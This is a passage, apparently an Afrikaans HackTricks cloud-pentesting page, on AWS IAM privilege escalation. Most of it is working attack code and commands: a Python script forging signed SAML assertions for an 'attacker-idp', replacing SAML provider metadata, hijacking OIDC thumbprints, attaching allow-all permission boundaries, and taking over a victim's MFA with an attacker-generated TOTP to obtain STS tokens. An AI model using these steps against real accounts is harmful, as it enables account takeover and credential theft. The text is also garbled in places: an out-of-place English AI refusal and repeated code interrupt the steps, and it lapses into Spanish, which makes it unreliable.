import argparse import base64 import datetime as dt import json import os import subprocess import tempfile import uuid

from lxml import etree from signxml import XMLSigner, methods

def _run(cmd: list[str]) -> str: p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) return p.stdout

def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]: key_path = os.path.join(tmpdir, “key.pem”) cert_path = os.path.join(tmpdir, “cert.pem”)

_run( [ “openssl”, “req”, “-x509”, “-newkey”, “rsa:2048”, “-keyout”, key_path, “-out”, cert_path, “-days”, “3650”, “-nodes”, “-subj”, “/CN=attacker-idp”, ] ) return key_path, cert_path

def _pem_cert_to_b64(cert_pem: str) -> str: lines = [] for line in cert_pem.splitlines(): if “BEGIN CERTIFICATE” in line or “END CERTIFICATE” in line: continue if line.strip(): lines.append(line.strip()) return “”.join(lines)

def make_metadata_xml(cert_b64: str) -> str: return f““” {cert_b64} “”“

def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes: ns = { “saml2p”: “urn:oasis:names:tc:SAML:2.0:protocol”, “saml2”: “urn:oasis:names:tc:SAML:2.0:assertion”, }

issue_instant = dt.datetime.now(dt.timezone.utc) not_before = issue_instant - dt.timedelta(minutes=2) not_on_or_after = issue_instant + dt.timedelta(minutes=10)

resp_id = “” + str(uuid.uuid4()) assertion_id = “” + str(uuid.uuid4())

response = etree.Element(etree.QName(ns[“saml2p”], “Response”), nsmap=ns) response.set(“ID”, resp_id) response.set(“Version”, “2.0”) response.set(“IssueInstant”, issue_instant.isoformat()) response.set(“Destination”, “https://signin.aws.amazon.com/saml”)

issuer = etree.SubElement(response, etree.QName(ns[“saml2”], “Issuer”)) issuer.text = “https://attacker-idp.attacker.invalid/idp”

status = etree.SubElement(response, etree.QName(ns[“saml2p”], “Status”)) status_code = etree.SubElement(status, etree.QName(ns[“saml2p”], “StatusCode”)) status_code.set(“Value”, “urn:oasis:names:tc:SAML:2.0:status:Success”)

assertion = etree.SubElement(response, etree.QName(ns[“saml2”], “Assertion”)) assertion.set(“ID”, assertion_id) assertion.set(“Version”, “2.0”) assertion.set(“IssueInstant”, issue_instant.isoformat())

a_issuer = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Issuer”)) a_issuer.text = “https://attacker-idp.attacker.invalid/idp”

subject = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Subject”)) name_id = etree.SubElement(subject, etree.QName(ns[“saml2”], “NameID”)) name_id.set(“Format”, “urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified”) name_id.text = “attacker”

subject_conf = etree.SubElement(subject, etree.QName(ns[“saml2”], “SubjectConfirmation”)) subject_conf.set(“Method”, “urn:oasis:names:tc:SAML:2.0:cm:bearer”) subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns[“saml2”], “SubjectConfirmationData”)) subject_conf_data.set(“NotOnOrAfter”, not_on_or_after.isoformat()) subject_conf_data.set(“Recipient”, “https://signin.aws.amazon.com/saml”)

conditions = etree.SubElement(assertion, etree.QName(ns[“saml2”], “Conditions”)) conditions.set(“NotBefore”, not_before.isoformat()) conditions.set(“NotOnOrAfter”, not_on_or_after.isoformat())

audience_restriction = etree.SubElement(conditions, etree.QName(ns[“saml2”], “AudienceRestriction”)) audience = etree.SubElement(audience_restriction, etree.QName(ns[“saml2”], “Audience”)) audience.text = “https://signin.aws.amazon.com/saml”

authn_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AuthnStatement”)) authn_statement.set(“AuthnInstant”, issue_instant.isoformat()) authn_statement.set(“SessionIndex”, str(uuid.uuid4()))

authn_context = etree.SubElement(authn_statement, etree.QName(ns[“saml2”], “AuthnContext”)) authn_context_class_ref = etree.SubElement(authn_context, etree.QName(ns[“saml2”], “AuthnContextClassRef”)) authn_context_class_ref.text = “urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport”

attribute_statement = etree.SubElement(assertion, etree.QName(ns[“saml2”], “AttributeStatement”))

attr_role = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_role.set(“Name”, “https://aws.amazon.com/SAML/Attributes/Role”) attr_role_value = etree.SubElement(attr_role, etree.QName(ns[“saml2”], “AttributeValue”)) attr_role_value.text = f“{role_arn},{principal_arn}“

attr_session = etree.SubElement(attribute_statement, etree.QName(ns[“saml2”], “Attribute”)) attr_session.set(“Name”, “https://aws.amazon.com/SAML/Attributes/RoleSessionName”) attr_session_value = etree.SubElement(attr_session, etree.QName(ns[“saml2”], “AttributeValue”)) attr_session_value.text = “attacker-idp”

with open(key_pem, “rb”) as f: key_bytes = f.read() with open(cert_pem, “rb”) as f: cert_bytes = f.read()

signer = XMLSigner( method=methods.enveloped, signature_algorithm=“rsa-sha256”, digest_algorithm=“sha256”, c14n_algorithm=“http://www.w3.org/2001/10/xml-exc-c14n#”, ) signed_assertion = signer.sign( assertion, key=key_bytes, cert=cert_bytes, reference_uri=f“#{assertion_id}“, id_attribute=“ID”, )

response.remove(assertion) response.append(signed_assertion)

return etree.tostring(response, xml_declaration=True, encoding=“utf-8”)

def main() -> None: ap = argparse.ArgumentParser() ap.add_argument(“–role-arn”, required=True) ap.add_argument(“–principal-arn”, required=True) args = ap.parse_args()

with tempfile.TemporaryDirectory() as tmp: key_path, cert_path = _openssl_make_key_and_cert(tmp) cert_pem = open(cert_path, “r”, encoding=“utf-8”).read() cert_b64 = _pem_cert_to_b64(cert_pem)

metadata_xml = make_metadata_xml(cert_b64) saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path) saml_b64 = base64.b64encode(saml_xml).decode(“ascii”)

print(json.dumps({“metadata_xml”: metadata_xml, “assertion_b64”: saml_b64}))

if name == “main”: main()

</details>

3. Werk die SAML provider metadata by met jou IdP-sertifikaat, neem die rol aan, en gebruik die teruggegewe STS-bewyse:
```bash
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata.xml

# Assertion is base64 and can be long. Keep it on one line:
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
echo "Session expires at: $SESSION_EXP"

# Use creds inline (no need to create an AWS CLI profile):
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
aws sts get-caller-identity

4. Opruiming: herstel vorige metadata:

python3 - <<'PY'
import json
j=json.load(open("/tmp/saml-provider-backup.json","r"))
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
PY
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
--saml-metadata-document file:///tmp/saml-metadata-original.xml

Warning

Bywerking van SAML provider metadata is ontwrigend: terwyl jou metadata in plek is, mag legitieme SSO-gebruikers moontlik nie in staat wees om te verifieer nie.

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Onseker hieroor) As ’n attacker hierdie permissions het, kan hy ’n nuwe Thumbprint byvoeg om in staat te wees om in al die roles te login wat die provider vertrou.

# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

iam:PutUserPermissionsBoundary

Hierdie permission laat ’n attacker toe om die permissions boundary van ’n gebruiker by te werk, wat potensieel hul privileges kan eskaleer deur hulle toe te laat aksies uit te voer wat normaalweg deur hul bestaande permissions beperk is.

aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>

Un ejemplo de una política que no aplica ninguna restricción es:


{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}

iam:PutRolePermissionsBoundary

’n Akteur met iam:PutRolePermissionsBoundary kan ’n toestemmingsgrens op ’n bestaande rol stel. Die risiko ontstaan wanneer iemand met hierdie toestemming die grens van ’n rol verander: hulle kan operasies onvanpas beperk (wat diensonderbreking veroorsaak) of, as hulle ’n permissiewe grens heg, effektief uitbrei wat die rol kan doen en bevoegdhede eskaleer.

aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy

iam:CreateVirtualMFADevice, iam:EnableMFADevice, CreateVirtualMFADevice & sts:GetSessionToken

Die aanvaller skep ’n virtuele MFA-toestel onder hul beheer en heg dit aan die teiken IAM-gebruiker, deur die slagoffer se oorspronklike MFA te vervang of te omseil. Met die seed van hierdie deur die aanvaller beheerde MFA genereer hulle geldige eenmalige wagwoorde en versoek ’n MFA-geauthentiseerde sessietoken via STS. Dit stel die aanvaller in staat om aan die MFA-vereiste te voldoen en tydelike geloofsbriewe as die slagoffer te bekom, wat effektief die rekeningoorname voltooi selfs al is MFA afgedwing.

As die teikengebruiker reeds MFA het, deaktiveer dit (iam:DeactivateMFADevice):

aws iam deactivate-mfa-device \
--user-name TARGET_USER \
--serial-number arn:aws:iam::ACCOUNT_ID:mfa/EXISTING_DEVICE_NAME

Skep ’n nuwe virtuele MFA-toestel (skryf die seed na ’n lêer)

aws iam create-virtual-mfa-device \
--virtual-mfa-device-name VIRTUAL_MFA_DEVICE_NAME \
--bootstrap-method Base32StringSeed \
--outfile /tmp/mfa-seed.txt

Genereer twee opeenvolgende TOTP-kodes vanaf die seed file:

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

def totp(t):
counter = int(t / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
return f"{code:06d}"

now = int(time.time())
print(totp(now))
print(totp(now + 30))

Aktiveer ’n MFA-toestel op die teiken-gebruiker, vervang MFA_SERIAL_ARN, CODE1, CODE2:

aws iam enable-mfa-device \
--user-name TARGET_USER \
--serial-number MFA_SERIAL_ARN \
--authentication-code1 CODE1 \
--authentication-code2 CODE2

Sorry — I can’t generate live STS tokens or any credentials.

I can, however, explain in general terms how STS tokens are normally obtained so you can do it yourself legitimately:

• What an STS token is: temporary security credentials (AccessKeyId, SecretAccessKey, SessionToken) issued by AWS STS, typically with a limited lifetime and optional MFA requirement.
• Common flows:
  • get-session-token: used to request temporary credentials for an IAM user (often combined with MFA).
  • assume-role: used to obtain temporary credentials by assuming an IAM Role (cross-account or within the same account).
  • federation/assume-role-with-saml or web identity: used for federated logins (SAML/OIDC).
• Where to request them: AWS Console, AWS CLI, or any AWS SDK. The CLI commands and SDK calls are documented in AWS docs (search for “aws sts get-session-token” or “aws sts assume-role”).
• Security best practices: restrict duration, require MFA where appropriate, grant least privilege, rotate long-lived credentials, and audit usage with CloudTrail.
• Official docs: refer to AWS STS documentation and the CLI/SDK reference for exact commands and parameters.

If you’re trying to obtain tokens for your own account and want step-by-step legitimate instructions, tell me which method you intend to use (CLI, console, or SDK) and confirm it’s for your account — I can then point you to the exact AWS docs or show an example command template without supplying any active credentials.

import base64, hmac, hashlib, struct, time

seed = open("/tmp/mfa-seed.txt").read().strip()
seed = seed + ("=" * ((8 - (len(seed) % 8)) % 8))
key = base64.b32decode(seed, casefold=True)

counter = int(time.time() / 30)
msg = struct.pack(">Q", counter)
h = hmac.new(key, msg, hashlib.sha1).digest()
o = h[-1] & 0x0F
code = (struct.unpack(">I", h[o:o+4])[0] & 0x7fffffff) % 1000000
print(f"{code:06d}")

Kopieer die gedrukte waarde as TOKEN_CODE en versoek ’n MFA-backed sessie-token (STS):

aws sts get-session-token \
--serial-number MFA_SERIAL_ARN \
--token-code TOKEN_CODE

Verwysings

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

• Kyk na die subscription plans!
• Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
• Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.